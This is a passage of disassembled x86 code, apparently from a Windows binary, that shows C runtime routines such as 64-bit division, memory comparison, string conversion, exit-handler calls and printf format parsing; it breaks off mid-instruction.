loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_48A0A8, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_48A0B8 call esi test eax, eax jnz loc_419AB2 nop call near ptr 2630313h cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_4395A0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_48A0B8 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_48A0A8, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_48A0B8 call near ptr 2610000h nop cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_43956C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_48A05C, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 2760C3Fh push eax nop call near ptr 27B0BD0h loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_48A058, edi mov byte_48A054, bl jnz short loc_419B78 mov eax, dword_48B69C test eax, eax jz short loc_419B67 mov ecx, dword_48B698 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_48B69C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_48A05C, edi call near ptr 77E75CB5h nop loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27A0C9Ch test eax, eax jnz short loc_419BD0 call near ptr 2630313h nop jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 64111103h, 0A1h dd 89645000h, 25h, 58EC8300h, 89575653h, 0D4E8E865h, 90023F7Dh dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah dd 59000000h, 0E8FC7589h, 5967h, 7D58E890h, 8CA3023Fh dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 0E850A445h, 23F6378h dd 54A1E890h, 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h dd 580A6A03h, 9C75FF50h, 0AEE85656h, 90022E6Eh, 49F7E850h dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_48A068, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_439590 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 48A0683Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_43BCD8 jz short loc_419D83 cmp esi, offset dword_43BCF8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_43BC20 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_4395A0 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_43959C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_439598 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43B900 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_43B90C pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_43B904 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_439598 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, 